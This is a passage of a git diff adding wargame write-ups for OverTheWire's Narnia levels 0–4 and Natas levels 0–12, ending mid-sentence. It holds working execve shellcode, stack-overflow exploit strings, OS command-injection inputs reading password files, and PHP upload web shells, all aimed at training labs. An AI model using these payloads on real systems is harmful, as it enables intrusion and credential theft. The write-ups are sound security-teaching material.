eax,0x804868e + 0x08048508 <+68>: lea edx,[esp+0x18] + 0x0804850c <+72>: mov DWORD PTR [esp+0x4],edx +(...) +End of assembler dump. +``` +Let's put a break point right after ```scanf```: + +```sh +(gdb) b *main+63 +Breakpoint 1 at 0x8048503 +``` + +We run the debugged program with 20 Bs (\x42) as the input. It stops in the address above, right after ```scanf```: +```sh +(gdb) r +Starting program: /games/narnia/narnia0 +Correct val's value from 0x41414141 -> 0xdeadbeef! +Here is your chance: + +Breakpoint 1, 0x08048503 in main () +``` + +Now we examine the memory in, say, 12 counts: + +```sh +(gdb) x/12xw $esp +0xffffd6a0: 0x08048689 0xffffd6b8 0x08049ff4 0x08048591 +0xffffd6b0: 0xffffffff 0xf7e59d46 0x42424242 0x42424242 +0xffffd6c0: 0x42424242 0x42424242 0x42424242 0x41414100 +``` + +The variable *buf* is in the 7-11th entries (0x42424242). Right after that is *val* (which we know is still 0x41414141). Wait, do you see the two zeros in ```0x41414100```? This is the space at the end of *buf* + +Finally, we test with 20 Bs + 4 Cs and confirm that our exploit works: + +```sh +(gdb) x/12xw $esp +0xffffd6a0: 0x08048689 0xffffd6b8 0x08049ff4 0x08048591 +0xffffd6b0: 0xffffffff 0xf7e59d46 0x42424242 0x42424242 +0xffffd6c0: 0x42424242 0x42424242 0x42424242 0x43434343 +``` + + +--- + +## Level 1: Stack Overflow with Environment Variables + +### Step 1: Understanding the Problem + +The second level starts with: +```c +narnia1@melinda:/narnia$ ./narnia1 +Give me something to execute at the env-variable EGG + +narnia1@melinda:/narnia$ cat narnia1.c +#include + +int main(){ + int (*ret)(); + + if(getenv("EGG")==NULL){ + printf("Give me something to execute at the env-variable EGG\n"); + exit(1); + } + + printf("Trying to execute EGG!\n"); + ret = getenv("EGG"); + ret(); + + return 0; +} +``` + +The program searches for an environment variable **EGG** and then it exits if this variable doesn't exist. If it does, **EGG**'s value is passed as a function. Really secure. + + + +### Step 1: Creating an Environment Variable with our Exploit + +The most obvious option for an exploit is to spawn a privileged shell, so that we can read the next level's password. + +Let's suppose we don't know that we need to write the exploit in memory language. We could try this: +```sh +narnia1@melinda:/narnia$ export EGG="/bin/ls" +narnia1@melinda:/narnia$ echo $EGG +/bin/ls +narnia1@melinda:/narnia$ ./narnia1 +Trying to execute EGG! +Segmentation fault +``` + +Nope. + +We actually need to create a hexadecimal command to export to **EGG**. We do this in Assembly and all the information we need is in the [Appendix A] from [Aleph One]'s paper. This allows us to write the following: + +[Appendix A]: http://insecure.org/stf/smashStack.html + + + +```sh +narnia1@melinda:/tmp$ vi shellspawn.asm +xor eax, eax ; make eax equal to 0 +push eax ; pushes null +push 0x68732f2f ; pushes /sh (//) +push 0x6e69622f ; pushes /bin +mov ebx, esp ; passes the first argument +push eax ; empty third argument +mov edx, esp ; passes the third argument +push eax ; empty second argument +mov ecx, esp ; passes the second argument +mov al, 11 ; execve system call #11 +int 0x80 ; makes an interrupt +``` + +Compiling: + +```sh +narnia1@melinda:/tmp$ nasm shellspawn.asm +narnia1@melinda:/tmp$ ls +shellspawn shellspawn.asm +narnia1@melinda:/tmp$ cat shellspawn +1�Ph//shh/bin��P��P��� +``` + +Exporting it to *EGG*: + +```sh +narnia1@melinda:/tmp$ export EGG=$(cat shellspawn) +``` +We are ready to exploit the binary: + +```sh +narnia1@melinda:/tmp$ /narnia/narnia1 +Trying to execute EGG! +$ whoami +narnia2 +``` + + + +### Step 4: Convert it to Hexadecimal + +It's really useful to have a hexadecimal form of our exploit (as we will see in the next levels) so we will use ```xxd``` to read it: + +```sh +narnia5@melinda:/tmp$ xxd shellspawn +0000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e350 1.Ph//shh/bin..P +0000010: 89e2 5089 e1b0 0bcd 80 ..P...... +``` + +Awesome! We can go ahead and test it: +```sh +narnia1@melinda:/tmp$ export EGG=`python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80"'` +narnia1@melinda:/tmp$ /narnia/narnia1 +Trying to execute EGG! +$ whoami +narnia2 +``` + + +---------- + + +## Level 2: Stack Overflow to the Return Address + +### Step 1: Understanding the Problem: + +The third level starts with: + +``` +narnia2@melinda:/narnia$ ./narnia2 +Usage: ./narnia2 argument +narnia2@melinda:/narnia$ cat narnia2.c +#include +#include +#include + +int main(int argc, char * argv[]){ + char buf[128]; + + if(argc == 1){ + printf("Usage: %s argument\n", argv[0]); + exit(1); + } + strcpy(buf,argv[1]); + printf("%s", buf); + + return 0; +} +``` + +This function copies an input string to a *buf*, using ```strcpy()``` (instead of safer ```strncpy()```). Since there is no bounds checking, *buf* overflows to the higher address in the Stack if the input is larger than 128 bytes. + +In this problem, we will use overflow to take control of the return address of the main function, which is right after *buf*. We will overwrite this to any address we want, for example to the address of a beautifully crafted exploit. + + +### Step 2: Finding the Frame Size + +To find where the returning address of this function is located, we use *gdb*: + +```sh +narnia2@melinda:/narnia$ gdb ./narnia2 +(gdb) set disassembly-flavor intel +(gdb) disas main +Dump of assembler code for function main: + 0x08048424 <+0>: push ebp + 0x08048425 <+1>: mov ebp,esp + 0x08048427 <+3>: and esp,0xfffffff0 + 0x0804842a <+6>: sub esp,0x90 + 0x08048430 <+12>: cmp DWORD PTR [ebp+0x8],0x1 + 0x08048434 <+16>: jne 0x8048458 + 0x08048436 <+18>: mov eax,DWORD PTR [ebp+0xc] + 0x08048439 <+21>: mov edx,DWORD PTR [eax] + 0x0804843b <+23>: mov eax,0x8048560 + 0x08048440 <+28>: mov DWORD PTR [esp+0x4],edx + 0x08048444 <+32>: mov DWORD PTR [esp],eax + 0x08048447 <+35>: call 0x8048320 + 0x0804844c <+40>: mov DWORD PTR [esp],0x1 + 0x08048453 <+47>: call 0x8048350 + 0x08048458 <+52>: mov eax,DWORD PTR [ebp+0xc] + 0x0804845b <+55>: add eax,0x4 + 0x0804845e <+58>: mov eax,DWORD PTR [eax] + 0x08048460 <+60>: mov DWORD PTR [esp+0x4],eax + 0x08048464 <+64>: lea eax,[esp+0x10] + 0x08048468 <+68>: mov DWORD PTR [esp],eax + 0x0804846b <+71>: call 0x8048330 + 0x08048470 <+76>: mov eax,0x8048574 + 0x08048475 <+81>: lea edx,[esp+0x10] + 0x08048479 <+85>: mov DWORD PTR [esp+0x4],edx + 0x0804847d <+89>: mov DWORD PTR [esp],eax + 0x08048480 <+92>: call 0x8048320 + 0x08048485 <+97>: mov eax,0x0 + 0x0804848a <+102>: leave + 0x0804848b <+103>: ret +End of assembler dump. +``` + +We create a breakpoint right before the exit: + +``` +(gdb) b *main+97 +Breakpoint 1 at 0x8048485 +``` + +We run our program, feeding it with an argument of size 30 and we look to the memory (esp is the Stack pointer). The second value, **0xffffd610**, indicates the start of the frame: +``` +(gdb) r `python -c 'print "B"*30'` +(gdb) x/30xw $esp +0xffffd600: 0x08048574 0xffffd610 0x00000001 0xf7ebf729 +0xffffd610: 0x42424242 0x42424242 0x42424242 0x42424242 +0xffffd620: 0x42424242 0x42424242 0x42424242 0xf7004242 +0xffffd630: 0x08048258 0x00000000 0x00ca0000 0x00000001 +0xffffd640: 0xffffd86d 0x0000002f 0xffffd69c 0xf7fcaff4 +0xffffd650: 0x08048490 0x08049750 0x00000002 0x080482fd +0xffffd660: 0xf7fcb3e4 0x00008000 0x08049750 0x080484b1 +0xffffd670: 0xffffffff 0xf7e59d46 +``` + +Now, looking to the information about the frame, we get the return address at **0xffffd69c**: + +``` +(gdb) i f +Stack level 0, frame at 0xffffd6a0: + eip = 0x8048485 in main; saved eip 0xf7e404b3 + Arglist at 0xffffd698, args: + Locals at 0xffffd698, Previous frame's sp is 0xffffd6a0 + Saved registers: + ebp at 0xffffd698, eip at 0xffffd69c +``` + +To find the size of the frame we subtract these values: + +``` +(gdb) p 0xffffd69c-0xffffd610 +$1 = 140 +``` + +So we know that 140 bytes are needed to reach the return address, where we will add our pointer. + + + +### Step 3: Finding the EGG ShellCode Address + +Where do we want to point the return address to? Well, we already know a way to spawn a shell: using an environment variable: + +```sh +narnia2@melinda:/tmp$ export EGG=`python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80"' +``` + +To find the address of **EGG** we use the following **C** code: +```c +narnia2@melinda:/tmp$ cat getbashadd.c +#include +#include +#include + +int main(int argc,char *argv[]){ + char *ptr; + ptr = getenv(argv[1]); + ptr += (strlen(argv[0])-strlen(argv[2]))*2; + printf("%s is at %p\n", argv[1],ptr); + return 0; +} +``` + +Running it gives: + +``` +narnia2@melinda:/tmp$ ./getshadd EGG /narnia/narnia2 +EGG will be at 0xffffd945 +``` + +### Step 4: Running the Exploit! + +Now all we need to do is to run the binary with 140 bytes of junk plus the address that we want to point the return address to: + +```sh +narnia2@melinda:/tmp/ya2$ /narnia/narnia2 `python -c 'print "A"*140 + "\x45\xd9\xff\xff"'` +$ whoami +narnia3 +``` + + +------ + +## Level 3: Stack Overflow, Files, and Symbolic Links + +### Step 1: Understanding the Problem + +The fourth level starts with: + +```sh +narnia3@melinda:/narnia$ ./narnia3 +usage, ./narnia3 file, will send contents of file 2 /dev/null +narnia3@melinda:/narnia$ cat narnia3.c +#include +#include +#include +#include +#include +#include +#include + +int main(int argc, char **argv){ + + int ifd, ofd; + char ofile[16] = "/dev/null"; + char ifile[32]; + char buf[32]; + + if(argc != 2){ + printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]); + exit(-1); + } + + /* open files */ + strcpy(ifile, argv[1]); + if((ofd = open(ofile,O_RDWR)) < 0 ){ + printf("error opening %s\n", ofile); + exit(-1); + } + if((ifd = open(ifile, O_RDONLY)) < 0 ){ + printf("error opening %s\n", ifile); + exit(-1); + } + + /* copy from file1 to file2 */ + read(ifd, buf, sizeof(buf)-1); + write(ofd,buf, sizeof(buf)-1); + printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile); + + /* close 'em */ + close(ifd); + close(ofd); + + exit(1); +} +``` + +This program receives a file name as input, and then copies the content of this file to a second file pointing to ```/dev/null```. + +What is particularly interesting to us is the order that the variables are declared: + +```c +char ofile[16] = "/dev/null"; +char ifile[32]; +``` + + +[/dev/null]: http://en.wikipedia.org/wiki/Null_device + + +### Step 2: Understanding what is going on in the Memory + +Let's debug this binary to see how we can exploit it. First with a simple 3-bytes input: + +``` +(gdb) set args "`python -c 'print "a"*3'`" +(gdb) r +Starting program: /games/narnia/narnia3 "`python -c 'print "a"*3'`" +error opening aaa +``` + +OK, it makes sense, there is no such file. Now let's try the size of *ifile*: + +``` +(gdb) set args "`python -c 'print "a"*32'`" +(gdb) r +Starting program: /games/narnia/narnia3 "`python -c 'print "a"*32'`" +error opening +``` + +Mmm, interesting. It does not input any name. Let's try one byte less: + +``` +(gdb) set args "`python -c 'print "a"*31'`" +(gdb) r +Starting program: /games/narnia/narnia3 "`python -c 'print "a"*31'`" +error opening aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +``` + +The previous example showed the first byte after overflowing *ifile*. This last example ends in the last possible byte in the array. Once we overflow *ifile*, it skips the checking, going straight to check whether *ofile* is a valid name. Awesome! + + + +### Step 3: Writing and Applying the Exploit + +We want two things happening in *ifile*: first, to read the password file, then to overflows *ofile*, making it point to a file we have access to read. + +The best way to put all of this in one input name is by creating a symbolic link with the following rules: + +1. Point to */etc/narnia_pass/narnia4*. +2. Fill the 32 bytes of the *ifile* array with junk. +3. End with some file name which we had created before, and we have permission to read (we can just use ```touch``` to create an empty file). + +The result, for a file name *out*, is: +```sh +$ ln -s /etc/narnia_pass/narnia4 $(python -c "print 'A'*32 + 'out'") +``` + +Now we can just run it and retrieve our password: +```sh +narnia3@melinda:/tmp$ /narnia/narnia3 `python -c "print 'A'*32 + 'out'"`copied contents of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAout to a safer place... (out) +narnia3@melinda:/tmp$ cat out +``` + + + + + +_______ + + +## Level 4: Classic Buffer Overflow with NOP + +### Step 1: Understanding the Problem + +This fifth level starts with: + +```sh +narnia4@melinda:/narnia$ ./narnia4 +narnia4@melinda:/narnia$ cat narnia4.c + +#include +#include +#include +#include + +extern char **environ; + +int main(int argc,char **argv){ + int i; + char buffer[256]; + + for(i = 0; environ[i] != NULL; i++) + memset(environ[i], '\0', strlen(environ[i])); + + if(argc>1) + strcpy(buffer,argv[1]); + + return 0; +} +``` + +This binary does three things: first, it creates a buffer array of size 256, then it makes all of the system environment variables equal to zero, and then it copies whatever user input it had to the buffer. + +The reason why this code clears the environment variables is to avoid the possibility of us placing a shellcode exploit to them (like we did in Level 2). + + + +### Step 2: Outlining the Attack + + +To exploit this binary we are going to overwrite our **return address** like in level 2, but this time we can't use an external address to point to. However, since our Stack is executable, we can place the shellcode in the Stack. The steps we follow are: + +1. Find out the size of the Stack. Just having the return address won't help since we can't point it to anywhere outside the code. +2. Create a shellcode with the return address minus some value we define so that the return address points to somewhere inside the Stack. +3. Fill the beginning of the Stack with lots of [NOPs] (No Operations, used to pad/align bytes or to delay time), which in the x86 CPU family is represented with ```0x90```. If the pointer hits these places, it just keeps advancing until it finds our shell. +4. To make everything fit right in the Stack frame, we pad the end of the shellcode with junk. +. + +[ASLR]: http://en.wikipedia.org/wiki/Address_space_layout_randomization +[NOPs]: http://en.wikipedia.org/wiki/NOP + + + + +### Step 3: Getting the Frame Size + + +With gdb we can extract the relevant memory locations. Let's run our program with an input of the size of the buffer. Here we use the flag ```--args``` because otherwise we will get an error that the name is too long: + +```sh +narnia4@melinda:/narnia$ gdb --args narnia4 `python -c "print 'A'*256"` +Reading symbols from /games/narnia/narnia4...(no debugging symbols found)...done. +(gdb) set disassembly-flavor intel +(gdb) disas main +Dump of assembler code for function main: + 0x08048444 <+0>: push ebp + 0x08048445 <+1>: mov ebp,esp + 0x08048447 <+3>: push edi + 0x08048448 <+4>: and esp,0xfffffff0 + 0x0804844b <+7>: sub esp,0x130 +(..) + 0x080484f0 <+172>: call 0x8048350 + 0x080484f5 <+177>: mov eax,0x0 + 0x080484fa <+182>: mov edi,DWORD PTR [ebp-0x4] + 0x080484fd <+185>: leave + 0x080484fe <+186>: ret +End of assembler dump. +``` + +We put a breakpoint right before the Stack ends: + +```sh +(gdb) b *main+182 +Breakpoint 1 at 0x80484fa +``` + +Running: + +```sh +(gdb) r +Starting program: /games/narnia/narnia4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +``` + +We see that the frame starts at **0xffffd4cc**: + +```sh +(gdb) x/90xw $esp +0xffffd4a0: 0xffffd4cc 0xffffd7be 0x00000021 0xf7ff7d54 +0xffffd4b0: 0xf7e2ae38 0x00000000 0x00000026 0xffffffff +0xffffd4c0: 0x00000000 0x00000000 0x00000001 0x41414141 +0xffffd4d0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd4e0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd4f0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd500: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd510: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd520: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd530: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd540: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd550: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd560: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd570: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd580: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd590: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd5a0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd5b0: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd5c0: 0x41414141 0x41414141 0x41414141 0x00000000 +0xffffd5d0: 0x08048500 0x00000000 0x00000000 0xf7e404b3 +0xffffd5e0: 0x00000002 0xffffd674 0xffffd680 0xf7fcf000 +0xffffd5f0: 0x00000000 0xffffd61c 0xffffd680 0x00000000 +0xffffd600: 0x0804824c 0xf7fcaff4 +``` + +Taking a look at the information of the frame gives us the return address, from which we find the size of the Stack: + +```sh +(gdb) i f +Stack level 0, frame at 0xffffd5e0: + eip = 0x80484fa in main; saved eip 0xf7e404b3 + Arglist at 0xffffd5d8, args: + Locals at 0xffffd5d8, Previous frame's sp is 0xffffd5e0 + Saved registers: + ebp at 0xffffd5d8, edi at 0xffffd5d4, eip at 0xffffd5dc +(gdb) p 0xffffd5dc-0xffffd4cc +$1 = 272 +``` + + + +### Step 4: Writing and Applying the Exploit + +We know that the Stack has a size of 272 bytes and that the return address is **0xffffd5dc**. If we add the return address, it sums to 276. + +Now we have some freedom to choose where to place our shellcode. Let's say, we place it somewhere in the middle, say, at the position 134. In the memory, we get: ```0xffffd5cc - 134 = 0xffffd546```. + +Since 276 minus 134 is 142, if we point the return address to **0xffffd546**, it will go to the 142th position in the Stack and execute whatever is there. We want to make sure that the return address will always end in the shellcode address and for this reason, we fill the addresses around with NOPs. + + +We will borrow the shellcode from the previous levels, which has size of 25 bytes: + +``` +\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80 +``` + +Considering the values above, we can write the following exploit: + +``` +`python -c "print '\x90'*142 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*105 + '\x46\xd5\xff\xff'"` +``` + +We could have used another address to craft another version of the exploit. Then we would have to simply adjust our NOPs and our paddings. For example, ```0xffffd5cc - 120 = 0xffffd554```: + +``` +`print -c "'\x90'*156 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*91 + '\x54\xd5\xff\xff'" ` +``` + +They both work. + +We finally apply our exploit: +``` +narnia4@melinda:/tmp$ python -c "print '\x90'*156 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*91 + '\x54\xd5\xff\xff'" +������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��P��� + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT��� +narnia4@melinda:/tmp$ /narnia/narnia4 `python -c "print '\x90'*156 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80' + 'A'*91 + '\x54\xd5\xff\xff'"` +$ whoami +narnia5 +``` diff --git a/CTFs_and_WarGames/WARGAMES/natas.md b/CTFs_and_WarGames/WARGAMES/natas.md new file mode 100644 index 0000000..1e924ec --- /dev/null +++ b/CTFs_and_WarGames/WARGAMES/natas.md @@ -0,0 +1,1432 @@ +# Exploiting the Web in 20 Lessons (Natas) + + +[Natas]: http://overthewire.org/wargames/natas/ + + +---- + +## No scripting required + +### Level 0 and 1: Simple source code inspection + +The first two levels start with a simple HTML page. No hints. + +The first thing we do is to take a look at the source code. + +In the 0th level, the password is straight from the there. + + +In the first level, we need to disable **JavaScript** so you can right click it: + +```html + +``` + +Too easy. + + +### Level 2: Source code inspection for directories + + +Looking at the source code in the second level reveals: + +```html +There is nothing on this page + +``` + +Well, this gives us a hint about the folder **files**. + +Taking a look at: + +> http://natas2.natas.labs.overthewire.org/files/ + + +gives a file ```users.txt``` with the password. + + + + +### Level 3: Robots.txt + +Looking at the source code, we see this comment: + +``` + +``` + +In general, websites use a file called **[robots.txt]** to tell search engines what should be indexed. + +Looking at: + +> http://natas3.natas.labs.overthewire.org/robots.txt + +[robots.txt]: http://en.wikipedia.org/wiki/Robots_exclusion_standard + + +We find: + +``` +User-agent: * +Disallow: /s3cr3t/ +``` + +Looking at the content of the folder */s3cr3t/* revels: + +``` +Index of /s3cr3t + +[ICO] Name Last modified Size Description +[DIR] Parent Directory - +[TXT] users.txt 12-Jul-2013 13:35 40 +``` + +Which give us the password file: + +> http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt + + + + +### Level 4: Changing the referer tag + +In this level, the front page shows this message: + +```html +Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/index.php" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/" +
+ +``` + +The server thinks we are coming from a page that is indicated in the **[referer]** tag in the headers. + +The referer is a (historically misspelled) tag that carries the address of the URL that linked to the address we are requesting. + + +There are many ways to tamper this. While we could use browser plugins such as [tampermonkey] or [modify-headers], the good old **curl** do it quickly: + +[referer]: http://en.wikipedia.org/wiki/HTTP_referer + + +```sh +$ curl --user natas4:************************ http://natas4.natas.labs.overthewire.org/index.php --referer "http://natas5.natas.labs.overthewire.org/" +``` + + +[tampermonkey]: https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=en +[modify-headers]: https://chrome.google.com/webstore/detail/modify-headers-for-google/innpjfdalfhpcoinfnehdnbkglpmogdi?hl=en-US + + + +### Level 5: Tampering cookies + +When we log in the 5th level, the front page says: + +``` +Access disallowed. You are not logged in +``` + +Inspecting the source does not give any additional information. + +We check the elements of the page. There is a cookie named *loggedin* with value **0**. What happens if we change it to **1**? + +Using the [edit this cookie] plugin, we are able to edit it and get the next password. + + +[edit this cookie]: http://www.editthiscookie.com/start/ + + + +### Level 6: Source code inspection for directories II + +This level comes with a PHP form. We take a look at the source code: + +```php +"; + } else { + print "Wrong secret"; + } + } +?> +
+Input secret:
+ +
+``` + +Double LOL. + +We just need to inspect that first URL to get the value of *$secret*: + +> http://natas6.natas.labs.overthewire.org/includes/secret.inc + +Submitting this value in the input form gives us the password. + + +### Level 7: Modifying URLs + +This level has the following hint in its PHP source code: + +```html +
+Home +About +
+
+this is the front page + +
+``` + +Another easy one. + +Instead of *page=home* we change it to: + +>page=/etc/natas_webpass/natas8 + +We then get our password at: + +> http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8 + + + +### Level 8: String decoding + +This level comes with a PHP form, similar to the 6th level. We take a look at the code source: + +```php +"; + } else { + print "Wrong secret"; + } +} +?> +``` + +Simple. The secret is encoded in some obscuration. Funny enough, it uses the PHP function [strrev] to reverse the string. + +We perform the following operations to recover the variable *$secret* from the variable *$encodedSecret*: + +I - Decode hexadecimal to binary (*bin2hex*): + +```python +>>> SECRET.decode('hex') +'==QcCtmMml1ViV3b' +``` + + +II - Reverse the string (*strrev*): + +```python +>>> SECRET.decode('hex')[::-1] +'b3ViV1lmMmtCcQ==' +``` + +III - Base64 decode (*base64_encode*): + +```python +>>> SECRET.decode('hex')[::-1].decode('base64') +'oubWYf2kBq' +``` + +We submit this last string in the input-form, giving us the password. + + +[strrev]: http://php.net/manual/en/function.strrev.php + + + +------ + +## I'm bored. Can we do something actually cool? + +Yes, we can. + + +### Level 9: OS Command Injection + +This level's page has a search form. If we try to submit a word, for example *secret*, we get several variations of this word: + +![cyber](http://i.imgur.com/ZQwlqsQl.png) + + + +We inspect the source code: + +``` +

natas9

+
+
+Find words containing:

+
+Output: +
+
+
+``` + +If we try inputs such as \*, "", or \n, the query shows the entire list of words inside the file *dictionary.txt*. We tried that, but no password there. + +Taking a closer look to the code, we notice the PHP function [passthru](), which is used to execute an external command. + +Since the variable **$key** is **not sanitized**, we can add a crafted input to it to inject a code that displays the password at the folder */etc/natas_webpass/natas10*. This type of attack is called [OS command injection]. + +What should we add to the original *grep* command? + +In **Bash**, the *semicolon* permits putting more than one command on the same line. Adding a **;** to the input allows us to add a **cat** after that. + +The crafted input is: +``` +; cat /etc/natas_webpass/natas10 +``` +This gives us the password. + + + + +[passthru]: http://php.net/manual/en/function.passthru.php +[OS command injection]: https://www.owasp.org/index.php/OS_Command_Injection + + + + +### Level 10: OS Command Injection II + +This level starts with the same search form from the previous level. However, this time, we get the warning: + +> For security reasons, we now filter on certain characters. + +We take a look at the source code: + +```php +
+
+
+``` + +The difference here is an *if* clause with the function [preg_match]. This function is used to search for a pattern in a string, *i.e.*, it clears the string against the pattern **;**, **|**, and **&**. + +We cannot use the same attack as before with a semicolon! + + +We need to some other injection that does not need those symbols. + +When I was messing around in the previous level, I noticed that we could use **""** as an input. Awesome. The following input reveals the password: + +``` +"" cat /etc/natas_webpass/natas11 +``` + + + +[preg_match]: http://php.net/manual/en/function.preg-match.php + + + + +### Level 11: Cookies and XOR Encryption + +This level starts with an input form to set background color and a message: + +> cookies are protected with XOR encryption + +![cyber](http://i.imgur.com/aD4CKbY.png) + + +Let's inspect the source code in several steps. First, we have this suspicious array: + + +``` +$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); +``` + +We will see soon that this array is passed to a cookie as an encrypted XOR string. + +[encrypted XOR string]:http://en.wikipedia.org/wiki/XOR_cipher + + +What happens if we manage to set *showpassword* to *yes*? This is answered in the end of the code: + +``` +if($data["showpassword"] == "yes") { + print "The password for natas12 is
"; +} +``` +We know our way now. + + +We then have this XOR function that takes an input value, *$text*, and XOR to a variable, *$key*. So we know that XORing the output with what we sent as the input can return the content of *$key*: + +``` +function xor_encrypt($in) { + $key = ''; + $text = $in; + $outText = ''; + + // Iterate through each character + for($i=0;$i +Background color: + + +``` + + +Since we know the plaintext, given by the variable *$defaultdata*, all we need is the value in the cookie. With that, we can XOR them and get our password. + +We can use the plugin I described before, [edit this cookie], to get this value: + +``` +ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw +``` + +Now, we write the following script in PHP, modifying the XOR function to take our input: +``` +"no", "bgcolor"=>"#ffffff")); + $outText = ''; + + for($i=0;$i +``` + +Running it returns the XOR key that encrypts the *$defaultdata* variable: +```sh +$ php xor.php +qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq +``` + +The repeated pattern is obviously a key. + +The next step is to modify the value of that variable to have *showpassword* saying *yes*. Then this should be XORerd with the right key in *$key*. + +For that, we created the following script: + +``` +"yes", "bgcolor"=>"#ffffff")); + $key = 'qw8J'; + $outText = ''; + + for($i=0;$i +``` + +This results in the code we need to add to the cookie. We do this through the plugin. Refreshing the page returns our password. + + + + +### Level 12: File Inclusion Attack + + + +This challenge starts with a JPG file uploader: +![cyber](http://i.imgur.com/xcSJ5kr.png) + +Inspecting the source code, we see that the first function returns a random string of length 10: + +``` +function genRandomString() { + $length = 10; + $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; + $string = ""; + for ($p = 0; $p < $length; $p++) { + $string .= $characters[mt_rand(0, strlen($characters)-1)]; + } + return $string; +} +``` + +This string is used as the name of the uploaded file in the server: + +``` +function makeRandomPath($dir, $ext) { + do { + $path = $dir."/".genRandomString().".".$ext; + } while(file_exists($path)); + return $path; +} +function makeRandomPathFromFilename($dir, $fn) { + $ext = pathinfo($fn, PATHINFO_EXTENSION); + return makeRandomPath($dir, $ext); +} +``` + +However, this file's extension is given by the browser: + +``` +
+ + +Choose a JPEG to upload (max 1KB):
+
+ +
+``` + + +Finally, the last function performs the file uploading. Notice that the code does not check whether the file is actually a JPG file: + + +``` +if(array_key_exists("filename", $_POST)) { + $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); + if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { + echo "File is too big"; + } else { + if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { + echo "The file $target_path has been uploaded"; + } else{ + echo "There was an error uploading the file, please try again!"; + } + } +} else { +?> +``` + +#### Stating the attack: + +We still can upload whatever file we want. + +Since the file extension is changed to *jpg* in the browser side, we have control of this; we can easily tamper the POST data. + +First, let's think about the exploit we want to send to the server. Since we know that the server runs PHP, we have several possibilities in this language! + +How about the following script which uses the function [readfile()]? + +``` + +``` + +[readfile()]: http://php.net/manual/en/function.readfile.php + +We could also use a [system] command: + +```php + +``` + +[system]: http://php.net/manual/en/function.system.php + +Or we could even use [passthru] again: + +```php + +``` +Any of these exploits will work. + + + + + +Now, let's work our way around the fact that the browser will attempt to change our script extension from *php* to *jpg*. + +There are several ways to fix this. An easy way is to use a proxy or extension, such as [Burp Suite] or [FireBug] to change the filename before it is sent to the server. + +We use *Burp* and the attack is stated in the following steps: + +1. Our exploit script in PHP is uploaded by the server and renamed with a random string and a *jpg* extension. + +2. We intercept the request and change the name of the file back to the name of the script with *php* extension. + +3. We send it to the server, which calls the function *MakeRandomPathFromFilename("upload","exploit.php")*. This is sent to the function MakeRandomPath('upload', '.php'). + +4. The server returns the link */upload/randomString.php*, which runs our exploit and returns the password. + + +#### Firing up Burp: + +[Burp Suite]: http://portswigger.net/burp/ +[FireBug]: http://getfirebug.com/ + +If this is your first time with Burp, [this is how you run it]. Burp works as an HTTP proxy server, where all HTTP/S traffic from your browser passes through it. I will show in details how to do this in a *nix system. + + +[this is 